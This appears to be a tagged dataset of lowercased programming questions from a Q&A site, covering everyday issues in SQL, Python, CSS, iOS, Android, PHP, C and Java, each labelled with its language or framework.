do x in column a if y found in column b  i have done some research on this matter and found that this works and is fairly easy:   <pre><code>update `table` set `a`=a+200 where b= y ; </code></pre>   this works obviously if column b has only a single y value.    but here comes the  hard  part. column b has multiple values like this:  y1 y2 y3 y4     i would like a+200 to be executed only if y3 is found in column b regardless of what the other values are. i am not too familiar with arrays or whatever is required to search through column b for the y3 value. any help is appreciated. thank you!,mysql
how to make the none dissapear in this function   hi i have problems because this function creates the numbers which i wanted but also generates a <code>none</code>. how should i write this code to not produce the none   <pre><code>def binary (str):     b = []     for x in str:         b.append(format(ord(x)   b ))     return ((b)) clave =  1001001000010001001000110111111100110000100011001010100000110001110110011111010010011111000011111001000011101011001101000001110010011110010110000000   c = list(clave) msg = binary( lol ) print(  .join(msg)) m = list(  .join(msg)) print( now the right )  def otp(m c):         for i in range (0 len(m)):         if c[i]==  1  and m[i]==  1 :             m.pop(i)             m.insert(i  0 )         elif c[i] ==  1  and m[i] ==  0 :             m.pop(i)             m.insert(i  1 )     return print(  .join(m))  msg1 = otp(m c) print(msg1) </code></pre>,python
what does the brackets mean in python: table[r][pos+i]   this is the full code:   <pre><code>def checkrow(table  r  pos  word): # done for you!     for i in range(0  len(word)):         if table[r][pos+i] != word[i]:             return false     return true </code></pre>   i know the bracket mean the index value (in this case r some value of the index table) but what does a bracket next to another bracket mean  (table[r][pos+i]),python
css white-space nowrap ie fails but works firefox/chrome  i can t quite figure out what s wrong. in firefox/chrome i can successfully use nowrap and overflow-x but not in ie. here s the relevant code block to disable wrapping...   <pre><code>#code_block {   background: #a9a9a9;   padding: 3px 3px;   white-space: nowrap;   overflow-x: auto;   font-family:  courier new    lucida console ; } </code></pre>   source page: <a href= http://www.blissend.com/node/18  rel= nofollow >http://www.blissend.com/node/18</a> source relevant css: block.css    does anyone know why this doesn t work in ie10  are there some requirements in ie for white-space: nowrap and overflow-x that could prevent this,css
sql - numeric data type with leading zeros  i need to store <a href= http://www.acep.org/content.aspx id=30464  rel= nofollow >medicare apc codes.</a>  i believe the format requires 4 numbers.  leading zeros are relevant.  is there any way to store this data type with verification   how should i store this data (varchar(4)  int),sql
mca and prince package installation in python 3.6.4  i have installed    <ol> <li>mca package using <code>pip install --user mca</code></li> <li>prince package using <code>pip install --user prince</code></li> </ol>   now  when i trying use them in spyder by using import command i am getting the below errors:   <blockquote>    modulenotfounderror: no module named  prince         modulenotfounderror: no module named  mca   </blockquote>   i have used below lines of code to import these packages   <pre><code>import prince import mca </code></pre>   since i am new to data science and creating models for my understanding  i have not created any virtual environment.    when i go to anaconda command prompt and use python command and then import the above packages using import command there is no error.    where am i going wrong  please guide me in resolving this issue.    regards    sudhir,python
avoid  safari cannot open the page because the address is invalid  in ios deep linking  we are getting a  safari cannot open the page because the address is invalid  popup in safari browser with ios deep linking implementation.    we are using iframe technique for deep linking implementation.    before opening an app store page  we are getting this popup. after clicking ok  we are able to open the app store page.    how to avoid this   <blockquote>    safari cannot open the page because the address is invalid  </blockquote>   popup before launching the app store page.,ios
how do i hide anchor text without hiding the anchor  say i have the following markup:   <pre><code>&lt;li&gt;&lt;a href= somehwere &gt;link text&lt;/a&gt;&lt;/li&gt; </code></pre>   if i have a background image on the a tag how would i hide the link text using just css  font-size:0 seems to work fine on the a tag apart from in ie7 little blobs show.     thanks   <ul> <li>thanks for help so far iv used line-height: 0; and font-size:0; and text-indent: -999px; but it still shows up some blobs in safari  any ideas </li> </ul>,css
how local constants are stored in c++ library files  i am writing a library where i need to use some constant integers. i have declared constant int as a local variable in my c function e.g. const int test = 45325;    now i want to hide this constant variable. what it means is  if i share this library as a .so  with someone  he should not be able to find out this constant value   is it possible to hide constant integers defined inside a library   please help    here is my sample code     int dosomething() {   <pre><code>const int abc = 23456; int def = abc + 123; </code></pre>   }    dosomething is defined as local function in my cpp file. i am referring this constant for some calculations inside the same function.,c++
how to handle different db based on different config files for each user   i m facing a new challenge at work and  as happens to me with all challenges  i m a bit excited but i stucked a little bit at planning.    we have a crm solution we are planning to sell to other companies within our servers. that said  i thought that  to avoid having a overpopulated database  we should have separated databases for each company that sign up in the application.    so  every company would have a subdomain like mycompanie.mywonderfullcrm.com and so  that url points to a folder that should be something like \root_folder\clients\mycompanie\ and within that  it <strong>only</strong> would be the  config  file which then points to the correct database.    from my point of view  that allows to update easily the tool to fix bugs or add new features.    my question is... how could i use core application files with different config files in different folders,php
error message in cgfloat  i m scoreboard app  where i t need to add a uitextfield and label on button click. i keep getting errors in these to methods. any suggestions     error message:  assigning to  uiview *  from incompatible type  double     <pre><code>    self.yoffset = 60.0; </code></pre>   error message:  assigning  cgfloat  (aka  float ) from incompatible type  uiview *     <pre><code>    frame.origin.y = self.yoffset; </code></pre>   error message:  invalid operands to binary expression ( uiview *  and  cgfloat  (aka  float ))    <pre><code>    self.yoffset += frame.size.height;   </code></pre>   here is the code:    <pre><code>-(void)addplayertapped:(id)sender {      nslog(@ adding player );     self.yoffset = 60.0;      uiviewcontroller *llvc = [[detailviewcontroller alloc] init];     llvc.view.alpha = 0.0;     [self.playersarray addobject:llvc];     [self.view addsubview:llvc.view];      [self repositionfields]; }  -(void)repositionfields {      // reposition each view in the array     for (detailviewcontroller *llvc in self.playersarray) {         cgrect frame = llvc.view.frame;         frame.origin.x = 15;         frame.origin.y = self.yoffset;         llvc.view.frame = frame;         self.yoffset += frame.size.height;     }      // add some animations to make it look nice     [uiview animatewithduration:0.3 animations:^{         cgrect frame = self.addplayerbutton.frame;         frame.origin.y = self.yoffset;         self.addplayerbutton.frame = frame;     } completion:^(bool finished) {         detailviewcontroller *llvc = [self.playersarray lastobject];         llvc.view.alpha = 1.0;     }]; } </code></pre>,objective-c
angularjs - preselected drobox issue  i have an issue with the pre-selected select box  in the database field value of selected subjects stored in this format: <code>[ 12   3   37 ]</code>     php code read value from database:    <pre><code>$data[ classsubject ]=json_decode($data[ subjects ] true); </code></pre>   and then pass it to the app.js file:   <pre><code> $scope.edit = function(id) {    showhideload();    datafactory.httprequest( index.php/students/ +id).then(function(data) {      $scope.changeview( edit );      $scope.form = data;      $scope.selectedsubjects = data.classsubject;                   console.log(data.classsubject);      showhideload(true);    });  } </code></pre>   and html file:   <pre><code>&lt;select class= form-control selecbox  name= classsubject[]  multiple required id= classsubj &gt;    &lt;option ng-repeat= subject in form.allsubjects track by $index  value= {{subject.id}}  ng-selected= form.classsubject.indexof(subject.id)&gt;-1 &gt;{{subject.subjecttitle}}&lt;/option&gt;  &lt;/select&gt; </code></pre>   the big issue i am facing here is:    <ol> <li>when i pass  value  of selected subjects (<code>$data[ classsubject ]=json_decode($data[ subjects ] true);</code>) </li> </ol>   it wont preselect from select box  if read as simple string :   <pre><code>$data[ classsubject ]=$data[ subjects ] </code></pre>   then (<code>ng-selected= form.classsubject.indexof(subject.id)&gt;-1 </code>) works but it select wrong entries  i suppose pre selected subjects are <code>[ 3 ]</code> selecting both options with <code>value= 3 </code> and <code>value= 37 </code> even 38  39 and so on.     please let me know the reason why this happens!,angularjs
how to input strings in a char array and how to print it out  this is my code  i m traying to read a string from keyboard and store it in char  nombre  but at the time to print it only prints the first letter of each string    int main() {   <pre><code>char nombre[10][50]={0}; float calificacion[10]; float promedio=0  calificacionalta=0  calificacionbaja=100; int opc  sobresaliente  deficiente; for(int i=0; i&lt;10; i++){     system( cls );     printf( ingresa el nombre del alumno no. %d:    i+1);     scanf( %s   nombre[i]); } for(int i=0; i&lt;10; i++){     system( cls );     printf( ingresa la calificacion del alumno no. %d:    i+1);     scanf( %f   &amp;calificacion[i]);     promedio+=calificacion[i];     if(calificacion[i]&gt;calificacionalta)         sobresaliente=i;     if(calificacion[i]&lt;calificacionbaja)         deficiente=i; } promedio/=10; printf( elige con que funcion quieres imprimir los datos\n ); printf( 1.- for\n ); printf( 2.- while\n ); printf( 3.- do while\n ); printf( 4.- salir\n ); scanf( %d   &amp;opc); switch(opc){     case 1: </code></pre>   here is the part where i m trying to print the info of the array   <pre><code>        printf( alumnos por encima del promedio\n );         for(int i=0; i&lt;10; i++){             if(calificacion[i]&gt;promedio){                 printf( nombre: %c\n   *nombre[i]);                 printf( calificacion: %.2f\n   calificacion[i]);             }         }          printf( alumno sobre saliente\n );         printf( nombre: %c\n   *nombre[sobresaliente]);         printf( calificacion: %.2f\n   calificacion[sobresaliente]);         printf( alumno burro\n );         printf( nombre: %c\n   *nombre[deficiente]);         printf( calificacion: %.2f\n   calificacion[deficiente]);         break; }  return 0; </code></pre>   },c
define global variables in one line python  is there a cleaner way to define global variables so that they re all in one line     currently i have:   <pre><code>success = 0                    # declarations spanning multiple lines fail = 0 target = os.getcwd() timeout = 2 maxdepth = 0 original =    paths = {}  def main():    anumber astring = 1  hello  # declarations in one line    print astring  main() </code></pre>,python
python - putting list items in a queue  i have following code:   <pre><code>self.queryq = queue.queue() queries = self.getqueries()  # returns list  for query in queries:   self.queryq.put(query) </code></pre>   is there a better way for following code  please provide pointers.,python
game engine development  i am going to be re-creating a game engine i created awhile back. this time i want to do it right  so i did some research into design patterns and tried to put pieces together to accomplish my goal. the idea of the game engine is simplicity  but at the same time i don t want to sacrifice usability.    here is a blueprint of what i am thinking  let me know if you can see any downfalls especially in expandability:   <pre><code>class object {     public:         string name; }  class object3d : public object {     public:         int x;         int y;         int z; }  class object2d : public object {     public:         int x;         int y; }  class cube : public object3d {     cube() : x(0)  y(0)  z(0)  name( cube ) {} }  class square {     ... }  int main() {     sgl engine(paramters);      c = cube();     s = square();      engine-&gt;lib3d-&gt;addcube(&amp;c   cube );     engine-&gt;lib2d-&gt;addsquare(&amp;s   square );     engine-&gt;input-&gt;keyboard(&amp;kbevent);     while(engine-&gt;running())     {         if (x)             engine-&gt;draw( cube );         else             engine-&gt;draw( square );     } }  void kbevent(event-paramteres) {     if (key.up)         engineptr-&gt;objects[ cube ]-&gt;move(x y); } </code></pre>   the target language is c++.,c++
what is the best way to make this type of infographic   this <a href= http://selfiecity.net/selfiexploratory/  rel= nofollow noreferrer >wonderful data science website</a> has a beautiful slider-based way of simultaneously filtering and visualizing statistics of the filtered group. i d like to make something similar  what are appropriate frameworks/methods/tutorials for doing this     <a href= https://i.stack.imgur.com/kqxpt.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/kqxpt.png  alt= enter image description here ></a>,javascript
how to get clicked indeterminate checkboxes to  checked  state  i have tried to follow this thread that suggests a solution to <a href= https://stackoverflow.com/questions/14625719/what-can-i-use-instead-of-the-indeterminate-jquery-selector-to-avoid-an-excepti >check indeterminate states</a>.    i am using asp.net  and it seems that clicking a checkbox in indeterminate state will uncheck it  and not fire any event (the underlying checkbox is actually  unchecked ). i was thinking of having javascript check it for me when i click a checkbox that is in indeterminate state (prefer the logic this way  and that should fire my asp.net event).   <pre><code>$(document).ready(function () {     $( .undefinedcheckboxstate :checkbox ).prop( indeterminate   true);      $( :checkbox ).click(function () {         if ($(this).prop( indeterminate )) {             $(this).prop( indeterminate   false);             $(this).prop( checked   true);         }     }); }); </code></pre>   <strong>update:</strong> the click event works fine  but the condition in the <code>if</code> is never true ! i keep clicking checkboxes in indeterminate state though...,jquery
sqlbulkcopy doesn t fail  but doesn t insert  so i have the following code to take a excel file and write it to a table in my db.   <pre><code>        string target = server.mappath( ~/upload );         if (fupstation.hasfile)         {             fupstation.saveas(system.io.path.combine(target  fupstation.filename));              string connectionstring = string.format(@ provider=microsoft.jet.oledb.4.0;data source={0};extended properties=  excel 8.0;hdr=yes;imex=1;     target +  \\  + fupstation.filename); string query = string.format( select * from [{0}$]    client station assignments );             oledbdataadapter dataadapter = new oledbdataadapter(query  connectionstring);              dataset dsstation = new dataset();             dataadapter.fill(dsstation);              datatable dtstation = new datatable();             dtstation = dsstation.tables[0];              gvone.datasource = dtstation;             gvone.databind();              using (sqlbulkcopy s = new sqlbulkcopy(configurationmanager.connectionstrings[ cnsql ].connectionstring))             {                 s.destinationtablename =  stationimport ;                 s.notifyafter = 100;                 s.writetoserver(dtstation);                 s.close();             }          } </code></pre>   so here is the issue.  it reads the file and populate the datatable just fine (proven by populating the grid with it) and i know the sqlbulkcopy code is being called  but in the end it gives no errors  but nothing shows up in my table!    anyone been thru this before   this is my first time using bulkcopy (and reading files too!) so i wouldn t be suprized if i am doing soemthing wrong.      thanks,asp.net
how to handle constructors or methods with a different set (or type) of arguments in python   is there a way in python  to have more than one constructor or more than one method with the <em>same name</em>  who differ in the <em>number of arguments</em> they accept or the <em>type(s) of one or more argument(s)</em>     if not  what would be the best way to handle such situations     for an example i made up a color class. <em>this class should only work as a basic example to discuss this</em>  there is lot s of unnecessary and/or redundant stuff in there.    it would be nice  if i could call the constructor with different objects (a list  an other color object or three integers...) and the constructor handles them accordingly. in this basic example it works in some cases with * args and * * kwargs  but using class methods is the only general way i came up with. what would be a  <strong>best practice</strong>  like solution for this     the constructor aside  if i would like to implement an _ _ <strong>add</strong> _ _ method too  how can i get this method to accept all of this: a plain integer (which is added to all values)  three integers (where the first is added to the red value and so forth) or another color object (where both red values are added together  etc.)     <strong>edit</strong>   <ul> <li> i added an <em>alternative</em> constructor (initializer  _ _ <strong>init</strong> _ _) that basicly does all the stuff i wanted. </li> <li> but i stick with the first one and the factory methods. seems clearer. </li> <li> i also added an _ _ <strong>add</strong> _ _  which does all the things mentioned above but i m not sure if it s <em>good style</em>. i try to use the iteration protocol and fall back to  single value mode  instead of checking for specific types. maybe still ugly tho. </li> <li> i have taken a look at _ _ <strong>new</strong> _ _  thanks for the links. </li> <li> my first quick try with it fails: i filter the rgb values from the * args and * * kwargs (is it a class  a list  etc.) then call the superclass s _ _ new _ _ with the right args (just r g b) to pass it along to init. the call to the  super(cls  self)._ _ new _ _ (....)  works  but since i generate and return the same object as the one i call from (as intended)  all the original args get passed to _ _ init _ _ (working as intended)  so it bails.  </li> <li> i could get rid of the _ _ init _ _ completly and set the values in the _ _ new _ _ but i don t know... feels like i m abusing stuff here ;-) i should take a good look at metaclasses and new first i guess. </li> </ul>   source:   <pre><code>#!/usr/bin/env python # -*- coding: utf-8 -*-  class color (object):    # it s strict on what to accept  but i kinda like it that way.   def __init__(self  r=0  g=0  b=0):     self.r = r     self.g = g     self.b = b    # maybe this would be a better __init__    # the first may be more clear but this could handle way more cases...   # i like the first more though. what do you think    #   #def __init__(self  obj):   #  self.r  self.g  self.b = list(obj)[:3]    # this methods allows to use lists longer than 3 items (eg. rgba)  where   #  color(*alist)  would bail   @classmethod   def from_list(cls  alist):     r  g  b = alist[:3]     return cls(r  g  b)    # so we could use dicts with more keys than rgb keys  where   #  color(**adict)  would bail   @classmethod   def from_dict(cls  adict):     return cls(adict[ r ]  adict[ g ]  adict[ b ])    # this should theoreticaly work with every object that s iterable.   # maybe that s more intuitive duck typing than to rely on an object   # to have an as_list() methode or similar.   @classmethod   def from_object(cls  obj):     return cls.from_list(list(obj))    def __str__(self):     return  &lt;color(%s  %s  %s)&gt;  % (self.r  self.g  self.b)    def _set_rgb(self  r  g  b):     self.r = r     self.g = g     self.b = b   def _get_rgb(self):     return  (self.r  self.g  self.b)   rgb = property(_get_rgb  _set_rgb)    def as_list(self):     return [self.r  self.g  self.b]    def __iter__(self):     return (c for c in (self.r  self.g  self.b))    # we could add a single value (to all colorvalues) or a list of three   # (or more) values (from any object supporting the iterator protocoll)   # one for each colorvalue   def __add__(self  obj):     r  g  b = self.r  self.g  self.b     try:       ra  ga  ba = list(obj)[:3]     except typeerror:       ra = ga = ba = obj     r += ra     g += ga     b += ba     return color(*color.check_rgb(r  g  b))    @staticmethod   def check_rgb(*vals):     ret = []     for c in vals:       c = int(c)       c = min(c  255)       c = max(c  0)       ret.append(c)     return ret  class coloralpha(color):    def __init__(self  r=0  g=0  b=0  alpha=255):     color.__init__(self  r  g  b)     self.alpha = alpha    def __str__(self):     return  &lt;color(%s  %s  %s  %s)&gt;  % (self.r  self.g  self.b  self.alpha)    # ...  if __name__ ==  __main__ :   l = (220  0  70)   la = (57  58  61  255)   d = { r : 220   g : 0   b :70}   da = { r : 57   g : 58   b :61   a :255}   c = color(); print c # &lt;color(0  0  0)&gt;   ca = coloralpha(*la); print ca # &lt;color(57  58  61  255)&gt;   print  ---    c = color(220  0  70); print c # &lt;color(220  0  70)&gt;   c = color(*l); print c # &lt;color(220  0  70)&gt;   #c = color(*la); print c # -&gt; fail   c = color(**d); print c # &lt;color(220  0  70)&gt;   #c = color(**da); print c # -&gt; fail   print  ---    c = color.from_object(c); print c # &lt;color(220  0  70)&gt;   c = color.from_object(ca); print c # &lt;color(57  58  61  255)&gt;   c = color.from_list(l); print c # &lt;color(220  0  70)&gt;   c = color.from_list(la); print c # &lt;color(57  58  61  255)&gt;   c = color.from_dict(d); print c # &lt;color(220  0  70)&gt;   c = color.from_dict(da); print c # &lt;color(57  58  61  255)&gt;   print  ---    print  check =   color.check_rgb( 1   0x29a  -23  40)   # check = [1  255  0  40]   print  %s + %s = %s  % (c  10  c + 10)   # &lt;color(57  58  61)&gt; + 10 = &lt;color(67  68  71)&gt;   print  %s + %s = %s  % (c  ca  c + ca)   # &lt;color(57  58  61)&gt; + &lt;color(57  58  61  255)&gt; = &lt;color(114  116  122)&gt; </code></pre>,python
difficulties submitting an iphone app to the itunes store  i get the following error message when i upload my app to the itunes store:   <blockquote>    unable to authenticate the package:   437087467.itmsp. the file name penny talk+corporate+mobile.app.zip in the   package contains invalid   characters. the valid characters are:   a-z  a_z  0-9  dash  period  </blockquote>   can anyone help me out,iphone
send mail with smtp python with more options  here is   <pre><code>smtp = smtplib.smtp(server) </code></pre>   i want to make it more customizable with additional parameter of <code>timeout</code> and <code>port</code>.    i want to send email using smtp python with the port that runs on any host (but don t want to use port 25 ) and i m unable to set out <code>timeout</code> on it.,python
meaning of `x+   +y` and `changeus(x  y)`  i ve got this code and i have got the answer for it as well  but i don t understand how they come out like that  specifically what does <code>(x+   +y)</code> part means as well as the <code>changeus(x  y)</code>  can anyone explain    <pre><code>public class changeparam {      public static void main(string[] args) {         int x = 1;         double y = 3.4;         system.out.println(x+   +y);         changeus(x  y);         system.out.println(x+   +y);             }      public static void changeus(int x  double y) {         x = 0;         y = 0.0;         system.out.println(x +   +y);     } } </code></pre>   the answers are:    <pre><code>1 3.4  0 0.0  1 3.4 </code></pre>,java
is there a javablackbelt equivalent for .net   i used to use javablackbelt a lot when i was first learning java  i have now switched to .net and i was wondering if there was an equivalent site,.net
how to set a flag on the iphone screen  so that it can be back on this screen when click   i have a project in iphone which has many <code>uiviewcontroller</code>. i want to set a flag or something to get back on that <code>uiviewcontroller</code>.    how can i do this,iphone
thread exiting with uncaught error : cannot instantiate class: no empty constructor  main class:   <pre><code>public class compassview extends view {      private float bearing;     private paint markerpaint;     private paint textpaint;     private paint circlepaint;     private string northstring;     private string southstring;     private string eaststring;     private string weststring;     private int textheight;      public void setbearing(float _bearing) {         bearing = _bearing;     }     public float getbearing() {         return bearing;     }      public compassview(context context) {         super(context);         initcompassview();     }     public compassview(context context  attributeset attrs) {         super(context  attrs);         initcompassview();     }     public compassview(context context  attributeset ats  int defaultstyle) {         super(context  ats  defaultstyle);         initcompassview();     }      protected void initcompassview() {         setfocusable(true);         circlepaint = new paint(paint.anti_alias_flag);         resources r = this.getresources();         circlepaint.setcolor(r.getcolor(r.color.background_color));         circlepaint.setstrokewidth(1);         circlepaint.setstyle(paint.style.fill_and_stroke);         northstring = r.getstring(r.string.cardinal_north);         weststring = r.getstring(r.string.cardinal_west);         eaststring = r.getstring(r.string.cardinal_east);         southstring = r.getstring(r.string.cardinal_south);          textpaint = new paint(paint.anti_alias_flag);         textpaint.setcolor(r.getcolor(r.color.text_color));          textheight = (int) textpaint.measuretext( yy );         markerpaint = new paint(paint.anti_alias_flag);         markerpaint.setcolor(r.getcolor(r.color.marker_color));      }      @     override     protected void ondraw(canvas canvas) {         int px = getmeasuredwidth() / 2;         int py = getmeasuredheight() / 2;         int radius = math.min(px  py);         canvas.drawcircle(px  py  radius  circlepaint);         canvas.save();         canvas.rotate(-bearing  px  py);         int textwidth = (int) textpaint.measuretext( w );         int cardinalx = px - textwidth / 2;         int cardinaly = py - radius + textheight;         for (int i = 0; i &lt; 24; i++) {             canvas.drawline(px  py - radius  px  py - radius + 10  markerpaint);             canvas.save();             canvas.translate(0  textheight);              if (i % 6 == 0) {                 string dirstring =    ;                 switch (i) {                 case (0):                     {                         dirstring = northstring;                         int arrowy = 2 * textheight;                         canvas.drawline(px  arrowy  px - 5  3 * textheight  markerpaint);                         break;                     }                 case (6):                     dirstring = eaststring;                     break;                 case (12):                     dirstring = southstring;                     break;                 case (18):                     dirstring = weststring;                     break;                  }                 canvas.drawtext(dirstring  cardinalx  cardinaly  textpaint);             } else if (i % 3 == 0) {                 string angle = string.valueof(i * 15);                 float angletextwidth = textpaint.measuretext(angle);                 int angletextx = (int)(px - angletextwidth / 2);                 int angletexty = py - radius + textheight;                 canvas.drawtext(angle  angletextx  angletexty  textpaint);             }             canvas.restore();             canvas.rotate(15  px  py);         }          canvas.restore();     }      @     override     protected void onmeasure(int widthmeasurespec  int heightmeasurespec) {         int measuredwidth = measure(widthmeasurespec);         int measuredheight = measure(heightmeasurespec);         int d = math.min(measuredwidth  measuredheight);         setmeasureddimension(d  d);     }     private int measure(int measurespec) {         int result = 0;         int specmode = measurespec.getmode(measurespec);         int specsize = measurespec.getmode(measurespec);          if (specmode == measurespec.unspecified) {             result = 200;         } else {             result = specsize;         }         return result;     } } </code></pre>   activity class:   <pre><code>&lt;linearlayout   xmlns:android= http://schemas.android.com/apk/res/android  xmlns:tools= http://schemas.android.com/tools  android:layout_width= fill_parent  android:layout_height= fill_parent  android:orientation= vertical  &gt; &lt;com.example.compass.compassview  android:id= @+id/compassview  android:layout_width= fill_parent  android:layout_height= fill_parent  /&gt;  &lt;/linearlayout&gt; </code></pre>   manifest.xml:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;manifest xmlns:android= http://schemas.android.com/apk/res/android  package= com.example.compass  android:versioncode= 1  android:versionname= 1.0  &gt; &lt;uses-sdk     android:minsdkversion= 8      android:targetsdkversion= 17  /&gt; &lt;application     android:allowbackup= true      android:icon= @drawable/ic_launcher      android:label= @string/app_name      android:theme= @style/apptheme  &gt;     &lt;activity         android:name= com.example.compass.compassview          android:label= @string/app_name  &gt;         &lt;intent-filter&gt;             &lt;action android:name= android.intent.action.main  /&gt;              &lt;category android:name= android.intent.category.launcher  /&gt;         &lt;/intent-filter&gt;     &lt;/activity&gt; &lt;/application&gt;  &lt;/manifest&gt; </code></pre>,android
integer promotion and right shifting  considering that for example an unsigned char will always be promoted to an int can i assume that if i don t cast to unsigned char before shifting the result will always be implementation defined     for example:   <pre><code>unsigned char c = 0x0f; unsigned int a = c &gt;&gt; 2; </code></pre>   here <strong>c</strong> will be promoted to an int before shifting to the right. so the shifting will be implementation defined  depending on the compiler.    the right way would be:   <pre><code>unsigned int a = (unsigned char)c &gt;&gt; 2; </code></pre>   my question being  is this statement true:    <strong>doing any shifting on any datatype smaller than int will be implementation defined if not also cast to unsigned type </strong>,c
expandablelistview creates and uses multiple childviews  i have an expandablelistview with a child item that contains an edittext element.<br> i am used to having the listview create elements mutliple times and i read this is normal behavior.<br> but in my case two alternating childview instances are repeatedly used for one child position.    one instance is visible if the softkeyboard is not present.<br> when i click into the edittext another instance of the childview is created and the soft keyboard appears. tapping  back  hides the softkeyboard and shows the first instance of the childview with the old text.    i checked this with another text in the childview that is set to a unique number whenever this childview is created. there really are two versions of the childview that toggle with the softkeyboard.<br> to make clear i don t click the group item or expand/collapse something. all happens in the childview.    as you can imagine this is somewhat unuseful.<br> what s going on here and how could i solve that,android
how we add a cookie value to an existing cookie in php  this my code but i am not getting the my cookie value in page    <pre><code>if (isset($_cookie[ mycookie ])) {      $cookie[] = $proid;     $cookie = implode(     $cookie);     $cookie = unserialize($cookie);     setcookie( mycookie   serialize($cookie)  time() + (86400 * 30)   / );  } </code></pre>,php
do idp need. p12 or. developerprofile ？  i have a ios app. my customers give me an apple id(type:in-house) for distribution. i m not allowed to revoke their existing certificates and they do not provide .p12 and .developerprofile. how can i release the ios app,ios
uinavigation view with cancel button slide up  hi i am building an app and i have the main uinavigation view. i wanted to build another section into it  so when you hit a button  a new ui navigationview pops up from the bottom. and when you have looked at a few views you can hit the cancel  button at the top and the uinavigationview slides down and you are back at the original page in the uinavigation view where you hit that button.    i want to build something which functions similar to the amazon shopping basket section in the amazon app. any ideas how to do that,iphone
check a value from array in javascript   i have a:   <pre><code>var pageurl = location.href; // stores the url of the current page in the var pageurl </code></pre>   and i have :   <pre><code>var page = array (); page [0] =  http://web1.com  page [1] =  http://web2.com  page [2] =  http://web3.com  </code></pre>   now i want to make a function (called nextpage) to check which one of these pages in the array equals the pageurl. also i need to have a button  so when i click it it will take me to the next page. what that mean i want to increment the page by 1.,javascript
_window ivar in appdelegate  created an empty project in xcode  which merely sets up the app delegate with a window object.    while appdelegate.h creates a <code>@property</code> for <code>window</code>:    <code>@property (strong  nonatomic) uiwindow *window;</code>    there is no mention in either the <code>.h</code> or <code>.m</code> of the ivar <code>_window</code> however the <code>dealloc</code> shows:   <pre><code>- (void)dealloc { [_window release]; [super dealloc]; } </code></pre>   so my question is  does an <code>@property</code> automatically create an ivar with an underscore for the associate ivar for the property  i thought that unless you write something like <code>@synthesize window=_window</code> then properties and ivars have the same name. however there is no such (or any) <code>@synthesize</code> statement in the <code>.m</code> so where is the <code>_window</code> coming from,objective-c
randomly choosing first player in tic tac toe gama java  i am making a tic tac toe game and one of the requirements is to have the game randomly decide who goes first. i assume i should be using math.random() but i don t know how to implement it. if anyone can  please help adjust my code thanks :)   <pre><code>import java.util.scanner; public class tictactoe {     public static void main(string[] args)     {         scanner console = new scanner (system.in);          game tictactoe = new game();          string no =  no ;         system.out.println( ~~~tic tac toe~~~ );         system.out.println( would you like to play  );         string playeranswer = console.nextline();         while(!playeranswer.equals(no))         {             tictactoe.play();             system.out.println( thanks for playing );             system.out.println( would you like to play again  press any key for yes  type no if you don t  );             playeranswer=console.nextline();         }     } } class game {     private final int empty = 0;     private final int player = 1;     private final int com = 2;     private final int size = 3;     private int[][] board;      public void printscreen()     {         int col;         int row;         system.out.println();         system.out.print(   );         for (col = 0; col &lt; size; col ++)         {             system.out.print(    + (col+1));         }         system.out.println();         system.out.print(   );         for (col = 0; col &lt; size; col ++)         {             system.out.print( -- );         }         system.out.println( - );         for (row = 0; row &lt; size; row ++)         {             system.out.print((row+1) +  | );             for (col = 0; col &lt; size; col ++)             {                 if (board[row][col] == empty)                 {                     system.out.print(   );                 }                 else if (board[row][col] == player)                 {                     system.out.print( x );                 }                 else if (board[row][col] == com)                 {                     system.out.print( o );                 }                 system.out.print( | );             }             system.out.println();             system.out.print(   );             for (col = 0; col &lt; size; col ++)             {                 system.out.print( -- );             }             system.out.println( - );         }     }      public void clear()     {         int col;         int row;         board = new int[size][size];         for (row = 0; row &lt; size; row ++)         {             for (col = 0; col &lt; size; col ++)             {                 board[row][col] = empty;             }         }     }      public void computermove()     {         int col;         int row;         int count;         int select;         count = 0;         for (row = 0; row &lt; size; row ++)             for (col = 0; col &lt; size; col ++)                 if (board[row][col] == empty)                     count ++;         select = (int) (math.random() * count);         count = 0;         for (row = 0; row &lt; size; row ++)         {             for (col = 0; col &lt; size; col ++)             {                 if (board[row][col] == empty)                 {                     if (count == select)                     {                         board[row][col] = com;                         system.out.println( the computer selects row  + (row+1) +   column   + (col+1) +  . );                     }                     count ++;                 }             }         }     }      public void playermove()     {         scanner console = new scanner (system.in);         boolean a;         int col;         int row;         a = true;         while (a)         {             system.out.println( what is your move   select a row number from 1 to   + size +   and a column number from 1 to   + size +  . );             row = console.nextint();             col = console.nextint();             if ((row &lt; 1) || (row &gt; size) || (col &lt; 1) || (col &gt; size))             {                 system.out.println( invalid choice  row   + row +   or column   + col +   must be from 1 to   + size +  . );             }             else             {                 row --;                 col --;                 if (board[row][col] != empty)                 {                     system.out.println( that spot is already filled );                     printscreen();                 }                 else                 {                     board[row][col] =player;                     a = false;                 }             }         }     }      public boolean checkwinner()     {         int col;         int row;         int count;         int win;         win = empty;         for (row = 0; row &lt; size; row ++)         {             count = 0;             if (board[row][0] != empty)                 for (col = 0; col &lt; size; col ++)                     if (board[row][0] == board[row][col])                         count ++;             if (count == size)                 win = board[row][0];         }         for (col = 0; col &lt; size; col ++)         {             count = 0;             if (board[0][col] != empty)                 for (row = 0; row &lt; size; row ++)                     if (board[0][col] == board[row][col])                         count ++;             if (count == size)                 win = board[0][col];         }         count = 0;         if (board[0][0] != empty)             for (row = 0; row &lt; size; row ++)                 if (board[0][0] == board[row][row])                     count ++;         if (count == size)             win = board[0][0];         count = 0;         if (board[0][size-1] != empty)             for (row = 0; row &lt; size; row ++)                 if (board[0][size-1] == board[row][size-row-1])                     count ++;         if (count == size)             win = board[0][size-1];         if (win != empty)         {             if (win == player)                 system.out.println( congratz you won );             else if(win == 3)                 system.out.println( you lost );             return true;         }         count = 0;         for (row = 0; row &lt; size; row ++)             for (col = 0; col &lt; size; col ++)                 if (board[row][col] == empty)                     count ++;         if (count == 0)         {             system.out.println( its a tie! );             return true;         }         return false;     }      public void play()     {         boolean e;         clear();        e=false;         while (!e)         {             printscreen();             playermove();             printscreen();             e = checkwinner();             if (!e)             {                 computermove();                 e = checkwinner();                 if (e)                     printscreen();             }         }     } } </code></pre>,java
